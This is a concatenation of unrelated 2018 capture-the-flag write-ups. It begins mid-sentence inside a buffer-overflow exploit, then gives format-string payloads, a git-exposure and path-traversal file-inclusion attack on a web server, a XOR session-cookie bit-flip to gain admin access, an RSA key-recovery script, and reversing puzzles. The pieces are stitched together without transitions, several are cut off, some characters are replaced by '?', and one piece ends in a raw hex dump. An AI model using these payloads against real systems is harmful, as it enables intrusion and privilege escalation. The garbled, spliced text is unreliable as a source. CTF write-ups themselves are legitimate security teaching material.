arguments:arg[0]: 0xffffd37c ("f2tc")``` ## Exploit **Buffer** | **EAX** | **CMD**--- | --- | ---"y" + "A" * 63 + "\n" | 0x8048898 | cat flag ```bash[f2tc@htejeda GreetingsFromSanta]$ python -c 'import struct;print "y" + "A"*63 + struct.pack("
# __X-MAS CTF 2018__## _The Calculator_ ## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Pwn | 495 | a1exdandy **Description:** >Here is some strange calculator that is used by Elves, but it seems very poorly implemented. Could you take a look if it is secure?>>Download [chall](files/part1/chall)>>Running on: nc 199.247.6.180 10008>>Author: littlewho ## Solution We have the binary with the format-string vulnerability, but input is restricted for only `%n` and modifications (`%N$n`, `%N$hn` and so on for an integer `N`).Also, we have a calculator that can perform `+`, `-`, `<`, `=`, `>`, `#` (put value into `register1`), `$` (put value into `register2`), `@` (get value from `register2`), `!` (get value from `register1`) operations. The result of the expression can be distinguished if only it equals `0` or `1`. (`Santa hates those big numbers...`).We can put some complex expressions, e.g. `1 + 2 + 3 + 4`, and all intermediate calculations will be on a stack after that.Also, `register2` contains a buffer address at the startup. So, we can put a non-zero value into `buffer[31]` to leak the flag. Final solution is: ```@+31 %9$hhnaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa``` ![solution](images/part1.png) ## _The Calculator 2.0_ ## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Pwn | 497 | a1exdandy **Description:** >I know you pwned it last time, but it was too easy. Could you give it another shot?>>Download [chall](files/part2/chall)>>Running on: nc 199.247.6.180 10009>>Author: littlewho ## Solution Now, we can't use `register2` in our calculations. But we can comapre it with `<`, `=`, `>`, so, with the binary search we can find the buffer address and then use the same method as in the first part. But we can't use 64-bit register directly. So, first of all, we load a constant part of the 64-bit buffer address into `register1`, then compare `register2` with `register1` + `some interesting value`. To put the constant part of the buffer address into register I use the next expressions:```2147221504 + 2147221504 #!+!+!+!+!+!+!+!#!+!+!+!+!+!+!+!#!+!+!+!+!+!+!+!#!+!+!+!+!+!+!+!#!+!+!+!+!+!+!+!#``` After this expressions we have `0x7ffc00000000` inside of `register1`. Then we check if `register2` in the bound `[register1 + 0, register2 + MAX_INT]` and if it's true, we can find the buffer address with the binary search (let's it be `X`). After that, to put a non-zero value into buffer[31], we can use `!+X+31 %%10$hhn` [Final solution](files/satanic_calculator_pt2.py) >Ave Satani! <3
TUCTF 2018 — "Easter egg" challenges==================================== A series of three web challenges, themed around the book _Ready Player One_. The Copper Gate--------------- > How did I end up here? - Joker > http://18.191.227.167/ We see what looks like a "placeholder" page, with a video referencing the book embedded on the page. The text reads: > Please return at a later date for more content! Which I took to be a hint that I needed to somehow make a request "from the future" to get a different version of the page. In fact, it was much simpler: an image included on the page was stored in the `/images` directory. Navigating there, it turns out that directory listing is enabled, and there's a text file with instructions pointing us to "the development area": http://18.191.227.167/images/sitenotes.txthttp://18.191.227.167/devvvvv/home.html > Welcome to the development area> You may be asking yourself how you got here... Truth be told I have no idea either. You may want to figure that out.>> Moving on, though.>> I hope you have as much fun solving this as I did writing it.> A big thank you to Warren Robinett for beginning this fun tradition.> In the spirit of the classic video game easter egg, I have hidden a series of challenges throughout this site. In the spirit of my favorite book, Ready Player One.>> (...)> > Each step of the hunt will award points respective to the challenge. The final step and to the egg is the crystal flag. Thank you to everyone for your participation. And now for the introduction.>> **Introductions**>> Three hidden flags open three secret gates. > Wherein the challenger will be tested for worthy traits. > And those with the skill to solve what I create > Will reach The End, where the points await >> **The First Challenge** > > The Copper Flag awaits your attention > Somewhere in an old direction > But you have much to review > If you hope to accrue > The points protected by this section. "An old direction" seems to point to a directory that we've already explored before. "Protected" made me think of `.htaccess`, but I got a 403 when trying to read it. With "Preserve network logs" enabled in the Chrome dev console, I used the same trick as before and simply navigated up to `/devvvvv`, trying to see if we could get a directory listing. Instead, `devvvvv/index.html` contained a `meta` tag redirecting us to `devvvvv/home.html`... but also a link to flag! (Base64 encoded) ```http://18.191.227.167/youfoundthejadegate/gate.htmlVFVDVEZ7VzNsYzBtM19UMF9UaDNfMDQ1MTVfVGgzX0MwcHAzcl9LM3l9Cg==TUCTF{W3lc0m3_T0_Th3_04515_Th3_C0pp3r_K3y}``` --- The Jade Gate------------- Challenge description: > Gotta make sure I log my changes. - Joker > http://18.191.227.167/ On the page where we found the copper flag, there were extra instructions: > **The Jade Flag**>> The updates conceal the Jade Flag > in a backup long neglected > But you can only retrace your steps > once the logs are all collected Okay, so there are some evocative keywords there: - "backup": perhaps a zip with the source code / database dump is stored somewhere- "logs": server & access logs? PHP stores logs in a default location, so perhaps there's a directory traversal exploit that would allow us to get them. I tried for a little bit, but no luck.- "log my changes": wait, that sounds a lot like version control! http://18.191.227.167/.git/ Bingo! We get the directory listing for a typical git repository. Let's download it for convenience: ```wget -r http://18.191.227.167/.git/``` Looking at the changes from each commit, after reading through a few funny / trollish messages, we find the Jade flag: ```http://18.191.227.167/youfoundthejadegate/gate.htmlTUCTF{S0_Th1s_D035n7_533m_l1k3_175_f41r_8u7_wh0_3v3r_s41d_l1f3_15_f41r?}``` --- The Crystal Gate------------- > I don't wanna go anywhere. > http://18.191.227.167/ Continuing to analyze the Git repository's content, we see _staged_, but non-committed changes: ![Staged files in the git repo](jade-commits.png) ```';echo 'Note2: I can\'t seem to remember the param. It\'s "file"';echo ''; if (isset($_GET['file'])) { $file = $_GET['file']; if (strpos($file, '/etc/passwd') == true) { include($file); } elseif (strpos($file, '.ssh') == true) { include($file); echo ''; echo 'Probably shouldn\'t put my own key in my own authorized keys, but oh well.'; }}?>``` That certainly looks exploitable! For one, `strpos` only checks that the substring is _somewhere_ in `$file`. After trying different values of `$file`, I realized that the code seen in the repo wasn't exactly what's running on the server. The exploit is even easier, allowing inclusion of _any_ file: ```http://18.191.227.167/crystalsfordays/traversethebridge.php?file=..http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../..http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../TheEgg.html``` And we got the flag! ```Note: Only used for access management and to check user info.Note2: I can't seem to remember the param. It's "file"<html> THE END Congratulations! You have discovered the crystal key and unlocked the egg. Thank you for your participation in this competition and I hope you enjoyed the trip, as well as learned a few things in the process. - Joker TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}</html>``` THE END Congratulations! You have discovered the crystal key and unlocked the egg. Thank you for your participation in this competition and I hope you enjoyed the trip, as well as learned a few things in the process. - Joker TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}
### Facts from server1. $p ^ p \bmod q = c_1$1. $q ^ q \bmod p = c_2$1. $(p+q) ^ {p+q} \bmod (p*q) = c_3$1. $(p ^ q + q ^ p) \bmod (p*q) = c_4$1. $flag ^ {q-p} \bmod (p*q) = c_5$1. flag = bytes_to_long(FLAG)($c_1$,$c_2$,$c_3$,$c_4$,$c_5$ are some constants) ### Get $p$ & $q$Take 1) 3) 4) modulo $q$, we have:$p^p = c_1$, $p^{p+q} = c_3$, $p^q = c_4$thus $$c_1\*c_4=c_3 \pmod q$$ similarly, we have $$c_2\*c_4=c_3 \pmod p$$ Now check 4), we have:$$(p^q+q^p) \bmod p = q^p \bmod p = q$$and $$(p^q+q^p) \bmod q = p^q \bmod q = p$$So $$c_4 = (p^q+q^p) \bmod (p\*q) = p+q$$combine this with 3), we have $$c_4^{c_4}=c_3 \pmod {p*q}$$ Till now we have $$p|(c_4^{c_4}-c_3, c_2\*c_4-c_3)$$ and $$q|(c_4^{c_4}-c_3, c_1\*c_4-c_3)$$if both GCDs are primes.then we have $$p=(c_4^{c_4}-c_3, c_2\*c_4-c_3)$$ and $$q=(c_4^{c_4}-c_3, c_1\*c_4-c_3)$$.Otherwise, you can use trial division of small primes (\<500 is enough) to get prime $p$ and $q$. ### DecryptionRest is normal RSA decryption. let $D=(q-p,\phi(p\*q))$, set $e=q-p$ and compute $d=(e/D)^{-1} \pmod {\phi(p\*q)/D}$ we have $flag^D = c_5^d. \pmod {p\*q}$ if D is small enough, we have $flag^D = c_5^d \bmod (p\*q)$ in $Z$. so $flag = (c_5^d \bmod (p\*q))^{1/D}$, and FLAG = long_to_bytes(flag). ### Code```from gmpy import *from Crypto.Util.number import long_to_bytes, sizedef get_flag(c1, c2, c3, c4, c5): p = gcd(c2*c4-c3, pow(c4, c4, c2*c4-c3)-c3) q = gcd(c1*c4-c3, pow(c4, c4, c1*c4-c3)-c3) # trial division using primes in range (0,500) for x in prm500: while p % x == 0: p /= x while q % x == 0: q /= x assert(is_prime(p)) assert(is_prime(q)) # decryption n, e = p*q, q-p phi = (p-1)*(q-1)/gcd(p-1, q-1) D = gcd(e, phi) d = invert(e/D, phi/D) flagD = pow(c5, d, n) # flag**D (mod n) flag, bExact = root(flagD, D) # retry if unlucky if not bExact: return None # Got flag! return long_to_bytes(flag)```### FLAG: > ASIS{Th3_gr0wth_0f_cryp7ogrAphIc_t3chnolo9y_h4s_ra1sed_a_nUmBer_oF_l394l_i55ueS_iN_the_informat1On_Ag3!}
[https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/HopityHop/readme.md](https://github.com/KosBeg/ctf-writeups/blob/master/OtterCTF_2018/HopityHop/readme.md)
## Catana Gift - Reverse 59 pts Here is a write up of the Catana Gift challenge from the X-MAS CTF 2018. Write-up by WAFU team ! ### File analysis```$ file catana```The input file is an ELF-64 bits file. When open with IDA we can found:- A double for loop : - Call the function stored at 0x400556 - Several operations to construct a string using the results of the 0x400556 function- A print of this string at the end of the program. However we remark taht the execution of the program is far too long to arrive to this printf call. Indeed, the function at 0x400556 is recursive and makes the program running very slowly. Our goal will be to patch the main program with a faster function ! ### Function 0x400556 analysisThe function is called with three arguments stored in the registers EDI, ESI, EDX. In the main function, the function is called at 0x40062D with the following parameters, and gives the following results (obtained through a debugger with a breakpoint at 0x40062D) : - func(0,0,0) = 1 - func(1,0,0) = 1 - func(2,0,0) = 2 - func(3,0,0) = 5 - func(4,0,0) = 14 - func(5,0,0) = 42 As everyone should know these results are the beginning of the Catalan Suite, and there is a much faster way to compute its nth terms : ```cint catalan_2(int a){ int res = 1; for (int i=0; i
# Square CTF 2018 - C10: fixed point ## DescriptionA handwritten note has been added to C10’s label. ```If you are a Charvis then this is a simple application of Xkrith’s First and Sixth Theorems. If you are not a Charvis then you should familiarize yourself with Xkrith’s works. A primer can be found in Room 100034B.``` Note: For the humans out there, this system is built on an oscillator. It’ll disable itself when you find the oscillator’s fixed point. Good luck! ## SolutionThe Javascript code in the given [HTML file](./fixed_point.html) applies the function below to our input `x`, and gives us the flag if and only if `x` is a fixed point (i.e. `f(x) = x`). ```function f(x) { if ((x.substr(0, 2) == '?') && (x.slice(-2) == '?')) { return x.slice(2, -2); } if (x.substr(0, 2) == '?') { return '?' + f(x.slice(2)); } if (x.substr(0, 2) == '?') { return f(x.slice(2)).match(/..|/g).reverse().join(""); } if (x.substr(0, 2) == '?') { return f(x.slice(2)).repeat(5); } if (x.substr(0, 2) == '?') { var t = f(x.slice(2)); return t.substr(0, t.length/2); } return "";}``` This function reads our input `emoji` by `emoji` interpreting each one of them as an instruction. Those instructions are pushed on the top of a stack. The final output of `f` is the result of applying all those instructions starting from the top of the stack, i.e. last in first out. The mapping between `emojis` and instructions is the following: - ? -> put ? on the stack- ? -> put `reverse` on the stack- ? -> put `repeat(5)` on the stack- ? -> put `substr(0, t.length/2)` on the stack- ?`x`? -> put `x` on the stack (exit case)- default -> put `''` on the stack (exit case) We can do the following observations. 1. The only `emoji` that we can create is ?.2. Following from `1.` , the only way we have to "create" other `emojis` is trough the `repeat(5)` operation. Of course the `emojis` we want to "create" have to be in the argument of `repeat(5)`.3. From what above we conclude that the only acceptable exit case is ?`x`?, and that `x` has to include all the `emojis` we need to "create".4. ?? corresponds to the unit operation.5. ??? translates to `[reverse, ? at beginning, reverse]`. The result of those three instructions will be adding a ? at the end of our current sequence. Now we have enough information to start building our input! Let's define it to be `x`?`x`?, where `x = y`???. This will translate into `[..y.., reverse, ? at beginning, reverse, x]`. Remebering that we have to apply the instructions backwards (i.e. starting from the right), after applying the first four we will end up with the following situation: - Partial output: `x`?- Stack: `[..y..]` (i.e. the instructions encoded in `y`) Thus, if we manage to have `y` such that its aggregation corresponds to `repeat(2)` we are done.In other words we want to find a `u`and `v`such that: ``` 1 * 5^u * 2^-v = 2``` Unfortunately there is no integer solution to this equation, but we can overcome this limitation by generalizing what stated above. We can define our input to be `x`? repeated `n` times (with `x` defined as before), so that, after applying the first four operations, the situation will be: - Partial output: `x`? repeated `n-1` times- Stack: `[..y..]` (i.e. the instructions encoded in `y`) The equation to solve becomes: ``` (n-1) * 5^u * 2^-v = n``` Which hopefully has `{n = 5, u = 1, v = 2}` as a solution. We obtain `y=`???, thus `x=`??????. Now we repeat `x`? five times and we are done! ??????????????????????????????????? `flag-2d4584368d09da2187f5` ## Bonus ### QuinesThe function `f` of this challenge is actually a [quine](https://en.wikipedia.org/wiki/Quine_(computing)). Quines are programs that print out their own source code. ### Infinite solutions ??Since ?? corresponds to the unit operation, there were an infinite number of solutions: one can add to his input as many couples of ? as he wants. Beside this, there are many solutions to the equation presented above and `{n = 5, u = 1, v = 2}` is only one of them.
# Otter CTF I had a blast participating in otter ctf last weekend. I think the challenges are still up at [https://otterctf.com/](https://otterctf.com/) # OTR 1 - Find The Lutra```OTR 1 - Find The Lutra100Rick created this new format of file called OTR (stands for otter). Help us find all the hidden data in this massive zip file. We found a diagram of the structure, we hope it will help. Your first mission is to find the name of the file who has a section named lutra in leet. format: CTF{flag}``` Weird format. I had to understand this weird format. Well i had some time to spare and it looked like lots of fun. so I dug in. ![Diagram](writeup/diagram.png "Diagram") magic header, number of sections. you get all that jazz. ez. (check out parse.py) but i got stuck on the sections. because at first I tought that the length was wrong. somehow. so i coded a part where I was looking for the `\x00` padding. mhhm i can explain it better with an image. look down ```bashxxd otr/00284fd21810fdc4bb3e3b1440e85d8e.otr | head -n 20``` ![Example format](writeup/example.png "Example format") ![Diagram Legend](writeup/diagram_legend.png "Legend") - Section Name: alphanumeric with `\x00` padding- Data Length: little endian format. `e8020000` => `0xe8 + 0x02 * 0x100 = 744`- CRC32: actually this had two formats. `686b7560 01000000` and `686b7560 00000000`. `crc32_type1 == -zlib.crc32(data) and crc32_type0 == 0x10000000 - zlib.crc32(data)`- Uppercase flag: i named it header in `parse.py`.- data: base64 for all sections except for `OTHER`. used the magical `if` we had this section for otr7```'name': 'OTHER\x00\x00\x00','crc32': 408173329,'crc32_type': 1,'uppercase_flag': '\x82I\x00','data': 'wh3r3_is_my_plum8u5\x00\x00\x00\x00\x00'``` the uppercase flag is `\x82I\x00` which is equal to `10000010 01001001 00000000` ```100000100100100100000000wh3r3_is_my_plum8u5------------------------Wh3r3_Is_My_PluM8u5``` tadaa. uppercase flag decryptor. ok general overview is over. to solve this task, i actually wasn't able to decode the format (yet). but i understood how the section name was formed. task description said " look for lutra in leet". so in this case it would be "lutra\x00\x00\x00". 3 null bytes padding. used a hamming distance to check (maybe it still has u or r). also checked if it printable and that the length should be > 0. found it quickly enough by analyzing the found names. ```bash$ python2 solve1.py...otr/1275046872ee1058329b79438b14b5dc.otr Rhprotr/1275046872ee1058329b79438b14b5dc.otr vuMQfotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr OXtmaotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr Dftiotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr lkwHotr/f879c5f2834e5e97e304b5b1a3f3e5f6.otr Rztyotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr kUerlotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr XbHrhotr/62c1249e9cd23ed1ee6e29c1267cc47d.otr nuy=otr/a358f694d1e5113ccd1a9ad7f1385549.otr Lu7r4otr/bf6782f225c82a4906075c1fb1842b51.otr FKtMgotr/bf6782f225c82a4906075c1fb1842b51.otr JUyFaotr/bf6782f225c82a4906075c1fb1842b51.otr bvcrotr/2701a122bbae3770daac5460683b1e30.otr aupootr/2701a122bbae3770daac5460683b1e30.otr NAtJ...$ # CTF{a358f694d1e5113ccd1a9ad7f1385549}``` # OTR 6 - The Path To Rick```OTR 6 - The Path To Rick150Rick hid his drive path in one of the sections - we got some intel and found out his drive is N:. Whats the section name where the data is hidden? format: CTF{flag}``` NO WAY IT WAS SOLVED WITH THAT BASH SCRIPT BELOW. well yes. and it helped me to understand the format better. here is where i got the idea that `len(uppercase_flag) == len(data)/8` and after a bit i understood how to decrypt it. by just watching the logs form. lots of logs on this one :)) also if you want to see a failed try, check the `main.py`. i first thought the drive path would be in the data segment. no way it would be in the `uppercase_flag`. ```bashfor v in `grep -r 'N\:' otr | awk '{print $3}'`; do echo $v xxd $v | grep -C10 'N:' echodone``` # OTR 5 - Wrong Place, Wrong Time```OTR 5 - Wrong Place, Wrong Time100One of the files got the wrong time of creation. What is the wrong date? If you extracted the files from the zip use modified time instead. format: CTF{HH:MM:SS DD/MM/YYYY at Jerusalem local time}``` this took me a bit to figure out. the thing is, some do differ in creation time by 1 second. i had to rule that out. and others by 3600 seconds. ruling that out too. then some by 3601. finally i got the flag. ```bash$ python2 solve5.py...1270 otr/a903e65bd79e3c2cdbcbf5cc51478147.otr1271 otr/44b2f36604d1ca6ff7f0d6b46f95c85d.otr44b2f36604d1ca6ff7f0d6b46f95c85dCTF{08:27:12 15/08/1995} ``` # OTR 7 - Wrong Calculation```OTR 7 - Wrong Calculation100FInd the description of the file with the wrong md5. The flag is case sensitive so you got to use the "uppercase flag" in order to get the correct answer. format: CTF{flag}``` explanation way above for the uppercase decryption. also in source of solve.py ```bash$ python2 solve.py...642 otr/e3c991061dcd0add2f669be17bf8539d.otre3c991061dcd0add2f669be17bf8539d{'header_length': 3, 'name': 'OTHER\x00\x00\x00', 'data_length': 24, 'length': 47, 'header': '\x82I\x00', 'actual_crc32': 408173329, 'crc32': 408173329, 'crc32_type': 1, 'data': 'Wh3r3_Is_My_PluM8u5\x00\x00\x00\x00\x00'}``` # OTR 2 - Incorrect CRC```OTR 2 - Incorrect CRC150Second mission: Rick copied the CRC of one of the sections in a certain file to another section. What is the name of the original section with the right CRC? format: CTF{flag}``` I wish my solution was as slick as the solution shown below. First of all, I was under the impression that Rick copied the CRC of one of the sections in the same file. So I put up some asserts and when it raised, I checked the file. No luck, both times, because the crc was from another file. That was my next tought, so i just searched for the crc in all files. ```bash$ python2 solve2.py0got otr/e0e4b95aac5365c800f304a31985889a.otr[*] crc32 data: c7c455e1[*] actual crc32: a6688248 100200300400500600700got otr/d6a4a2ebd4f6418c3b064de26cc06a12.otr[*] crc32 data: f8ad0ba4[*] actual crc32: b8cfe1ab 8009001000110012001300140095 otr/724e1a24829f6132086473a41ff5ba51.otrrryt\x00\x00\x00\x00 688 otr/724e1a24829f6132086473a41ff5ba51.otrM0r7y9uy 728 otr/724e1a24829f6132086473a41ff5ba51.otrWSkr\x00\x00\x00\x00$ # CTF{M0r7y9uy}``` # OTR 3 - Up And Down```OTR 3 - Up And Down200Rick hid some data in the lower\upper part of a section, but that fucked up the real data, could you find it?``` I was hoping to solve OTR4 by doing this. So I decrypted everything and put it in folders. it's quite fast. because i can use grep easily on them. no OTR4 but looking at the task description for this one i got the idea that the section might look weird ("that fucked up the real data"). so i went searching for anything out of the ordinary and got lucky to find just one file with non printable characters. ```bash$ python2 solve4.py$ grep '[^[:print:]]' -r decodedBinary file decoded/d6a4a2ebd4f6418c3b064de26cc06a12/3_WSkr matches$ xxd ./otr/d6a4a2ebd4f6418c3b064de26cc06a12.otr | grep -A20 WSkr00000da0: 0057 536b 7200 0000 00c0 0400 00a4 0bad .WSkr...........00000db0: f800 0000 00fc fecf ce3c eba2 f6ae ceee .........<......00000dc0: f80e 9eac ecee beee ee7c e82e ffea fcee .........|......00000dd0: 0fb8 6ccc 4300 0054 0000 4600 007b 0000 ..l.C..T..F..{..00000de0: 4400 0030 0000 7500 0062 0000 6c00 0065 D..0..u..b..l..e00000df0: 0000 5f00 0050 0000 3400 0064 0000 4400 .._..P..4..d..D.00000e00: 0021 0000 6e00 0039 0000 5f00 0046 0000 .!..n..9.._..F..00000e10: 5400 0057 0000 2100 007d 0000 4c8e bf9e T..W..!..}..L...00000e20: 335f f662 eaad 6fd4 acea dead 2200 8c72 3_.b..o....."..r00000e30: a6ee 0e6c d97c 6b3f 653b ee22 eacd faea ...l.|k?e;."....00000e40: 6efc 2f0a fe3f 3dfd 7c4e 2eaf 6c6f 6476 n./..?=.|N..lodv00000e50: 7077 756f 2f69 6472 6776 6866 6a6f 6468 pwuo/idrgvhfjodh00000e60: 767a 7362 6576 7777 2f69 6772 7264 7962 vzsbevww/igrrdyb00000e70: 6569 6573 2f72 787a 7573 317a 6f72 7a76 eies/rxzus1zorzv00000e80: 3264 7962 3069 6362 6c65 6362 7571 6a6a 2dyb0icblecbuqjj00000e90: 3172 7361 317a 656f 6775 7771 676f 6765 1rsa1zeoguwqgoge00000ea0: 6769 6861 6775 7476 6f7a 6c6b 6763 6d67 gihagutvozlkgcmg00000eb0: 676a 6672 3579 3064 7669 6365 7973 7962 gjfr5y0dviceysyb00000ec0: 7269 6667 6769 6361 7771 7438 6769 6475 rifggicawqt8gidu00000ed0: 6769 6362 6b75 6e72 6873 6679 3169 666a gicbkunrhsfy1ifj00000ee0: 7869 687a 756e 7679 337a 7361 2f61 6466 xihzunvy3zsa/adf$ # CTF{D0uble_P4dD!n9_FTW!}``` # OTR 4 - Citadel Of Ricks Location```OTR 4 - Citadel Of Ricks Location300Rick hid the coordinates of the Citadel Of Ricks in the data section of some file. You will need to use the Uppercase flag to decrypt it. What is the cover name of the citadel? format: CTF{flag}``` if you solved it, please hit me up. i offer beer in exchange of a writeup.
# Overthecounter - Crypto/web (200) This wizard book shop has been rumoured to have more than forbidden scrolls. Become admin and find the flag. Service: http://18.205.93.120:1212 ## Analysis This challenge presented us with a website with a couple different pages for adding "books" to a "bag". After poking around for a bit, we find that each page has a cookie called "session" which is a hex string. This is altered slightly when we add new books. After poking around a bit I found that there wasn't much to go on besides the session cookie, so I started flipping bits of that until I got some interesting error message to pop up. The starter code for this is below, but some interesting error messages that I found were: ```...sess_id[35] ^= 1<<0: ['Value error: unknown user: fuest']sess_id[35] ^= 1<<1: ['Value error: unknown user: euest']sess_id[35] ^= 1<<2: ['Value error: unknown user: cuest']sess_id[35] ^= 1<<3: ['Value error: unknown user: ouest']sess_id[35] ^= 1<<4: ['Value error: unknown user: wuest']sess_id[35] ^= 1<<5: ['Value error: unknown user: Guest']sess_id[35] ^= 1<<6: ['Value error: unknown user: 'uest']sess_id[35] ^= 1<<7: ['Value error: unknown user: �uest']sess_id[36] ^= 1<<0: ['Value error: unknown user: gtest']sess_id[36] ^= 1<<1: ['Value error: unknown user: gwest']sess_id[36] ^= 1<<2: ['Value error: unknown user: gqest']sess_id[36] ^= 1<<3: ['Value error: unknown user: g}est']sess_id[36] ^= 1<<4: ['Value error: unknown user: geest']sess_id[36] ^= 1<<5: ['Value error: unknown user: gUest']sess_id[36] ^= 1<<6: ['Value error: unknown user: g5est']sess_id[36] ^= 1<<7: ['Value error: unknown user: g�est']sess_id[37] ^= 1<<0: ['Value error: unknown user: gudst']... sess_id[45] ^= 1<<5: ['Key error: 'admin'']sess_id[45] ^= 1<<6: ['Key error: 'admin'']sess_id[45] ^= 1<<7: ['Key error: 'admin'']sess_id[46] ^= 1<<0: ['Key error: 'admin'']sess_id[46] ^= 1<<1: ['Key error: 'admin'']sess_id[46] ^= 1<<2: ['Key error: 'admin'']sess_id[46] ^= 1<<3: ['Key error: 'admin'']sess_id[46] ^= 1<<4: ['Key error: 'admin'']sess_id[46] ^= 1<<5: ['Key error: 'admin'']sess_id[46] ^= 1<<6: ['Key error: 'admin'']sess_id[46] ^= 1<<7: ['Key error: 'admin'']sess_id[47] ^= 1<<0: []sess_id[47] ^= 1<<1: ['Value error: invalid status: 2']sess_id[47] ^= 1<<2: ['Value error: invalid status: 4']sess_id[47] ^= 1<<3: ['Value error: invalid status: 8']sess_id[47] ^= 1<<4: ['Value error: invalid status: ']sess_id[47] ^= 1<<5: ['Value error: invalid status: \x10']sess_id[47] ^= 1<<6: ['Value error: invalid status: p']sess_id[47] ^= 1<<7: ['Value error: invalid status: �']...``` From these error messages, it was pretty clear that (1) the session cookie was encrypted using a fixed key, likely just XORed in, and (2), there was a username & "admin" status found within it. From here I went about changing the "admin" value to 1 (`sess_id[47] ^= 1<<0` above) which gave the error message "You may not pass yet... Incorrect name" and then XORing in 'admin' over the 'guest' string found in the error messages. Both of these in concert showed that I was now an admin and opened up a new menu item at the endpoint `/vault/export`. Query this page with the right session cookie gave a bunch of hex strings shown below. ```b93f0c13f582c7b1531fcc7d5dfef63a9436ca72c8bf9ef13108a63bdf16376c4f1b2eac2d4722da4d58e78693d844d0baeecd720373c71eebc74427f370b73dc94dde1e4629b1250c14fa8982a6484deb7955fcfa6e8e328b52c2a38fa86215a22dd8143b7b4f1b39b431432cd24a43e1d5d6da44cab2f9d6631d73da0faed10d25f561ad2b9b46df5d5b33ed8a452456c9607abd381b13fb80cba2484bf73451fcfb2d883e845287ab92fa7403ae29d906376c4f1b37b02e4f24c95756fdc8919c68cabcf884720668c713a2c55e69f779aa3a8103d40b4828fd9d453756c37db93e1c08f08982a9415ded6151a9db2b9e368450d4a8dbe96211b521dd1d35775f5a36f52e5732c85742f38684d94cd7a6f9c97103639409aed15f2ce766e52d9c4ad51a0d30ee9b4f314ac36abd341c05f889d1aa4d5aa47a5deaf2229032ca59ceaa93fc7704a42bd5523a7155482ef52d4733dd4b41fdc8919c6ecba5ecc1611b75da1eebd6423cfa61a03c994cd20e483ea0300c04b488cba14f5af7344cfbf23a883e8c5cc2a9dbe76411a03cde053b705b1b32b42f472cc81e65f7c3d6cf43cbbaecc1774f6adb17b2d64120fa7ca63dc957d41241a739110ce489d0a0441ff17a4ffcf53d88368441ceac8fed7545a62dd016377355587a83345026d25045f5c8d6d559c1b8f5de721b73db15ebc14239fb72b72f994bc25d4c29fc9d5027be241504e683ceaa4756f7601cecf92d9d248f58c2a38fa85304b520d000363e5f493fb8380231c9514af1d585d542cab4f0cd600674d35ba8d04125b465a03c9a53d21e4c39e6975127b33d0e08b49bcdab541fe97d5bfbf63a95388415cbb896f86845b42bd507316a554d3fbb3851329b5c59f9cb93d80dd7a1eec5644f7edb0ca5c54128ed35a6268850cf184333e19fa0231717fb87c7b70052eb665df0e46eb1388441c2bb9efa750ce723d018376d48523fa67d5024df5a49fad5d6ce48c5b1e584701a76db0fbfd05e69e070b52b8c03c80a4235e19d40a2340e0ef78dd6ac4f51f7344feaff21933b885ac8a6dbc0700bac6ec2073175505e3ef5335722d75b43e7cf92d90dd4a0eecd601b73d75bafda5a2ce666e52f8e44d7085933e199503d50c1b23e170af182c6e56a6fc1531ceef2238f23855bc2bedbe96306af27d4023b6d5f542ab431022dda4b42f0d493c859c1a6bcc77c0169d709a2c5592cf035b5219956d71c4e3ffcb4230d08f085d1a8004de17059edfe2d9d238f5187a89afa7d01a82391003768555e2db02f5161c85b4fe0cf99d25e84b1fdc671037f9438aacc582ef566e5258040d0144828b529080ee785d6aa521ff0754cf9f22adc238f58d7a289e9631ce71ed01f227b4e487aa7384122de4d0cf0c398c858d6b0bcc77c0179d50faedb4c3dfd7aab6e9a53c9145920ea8ab4381b15fd83cca45256e1671cebe5219732ca7df48fb8a8610ca425d400727a595a3eb93447339b5f5ff1de83dd418497eeca7c4f77db1faec74c3dfb67b66e8546d51a5932f891573184391112b48fcdb04c5ba47659a9ee218925ca45c2bf88e77f04ab6ed71e33791c7a15810a5934e44c73f5f981d41cdeaff79577307ec11ff8c80d0ac053e53d864fcd185fb6340a15fd80cbbf454da46659edf32b9224ca56cfa88afd780ba06ed01e336c515234b27d5220d55b40f8cf85c85e8497eecb640173d108ebd8443af167a42c8546d5185e29b93f0b00fa85d6bc004bf67552faf1278423ca58c2be96ed630cb42bc301724d70697aa53c5028c85645fbc893ce5e84a6f3cb67067fc70febc34c3bf870b16ea55ad51e45a03d190ff198c3b7494ae93466e0f521dc278b47c6b993f1630aae2ac252217b5d4c3bb9310224d64e44f5d59fc648c0f5f5ca75037bd916aac1423bed35a423884fdc1c408324160ffd98c7b60051e16148fbf62295248f5187a994e76315a83dc5522577504f33bb3a0231c95142fbd398df44cab2bcc07a1c72db15aec65925ed35a6219d57d413593be694bc381400f7ccd1a9414bec714efab73c9524835bc0ed9ce17c07a622c252397b454b3bb17d4024c95b4de2cf98db0dc9b0fdd7661d73da1cebc24c25ff62a437c947de1e5f33e2914a3552cf747a3aa33e1600e6cccba8504de1674fe0e12bdc3d8b4287bd88ed610da822de153b6d481b2ab42f5628d84b40f5d49fcf4cd0bcf3ca331c7bc012b8d34c2ae07ab737c953c9125928fa9c41b93c0804f58fcaa0521ff7615feaf83b8e328e15cda28efa7f04ab27c21f726c534e3dbd334722d05b48b4f581dd45cdb9f584701679d814bfc74227e735a62f9d4bd4114439e68c5da321110ff180c7b65351e1674fa9fb219d23825087a99afc7007a620da0172714b1b3db42f4326d2504bb4c283d95e84b7fdc3751a769417ac954028e67cab2b9a03d314402980381b0af283d0a1004ce17753e7f3228577895dc6a39fe47417e73ec3173f77445e29f53a4e28d95049e7d5d6cf54cab6f4d67c0173c71eebd45d39fb7cab3a8446d5090d3ee09c40314ccf6078b1220d0ff089d0e55350e5661ce4fe3d9f388446d3bf8eed3102b22fc316207f555729f5104332da4c55ff86b1d95ed0b4eccb604f5bc712a6da5b69e374a9258c479b194237e69645205bb23e1705f88982a8415be0714ea9e52b9f388745c8be9ea8590aa921dd073e6b1c5d3bbe3450329b534df7c7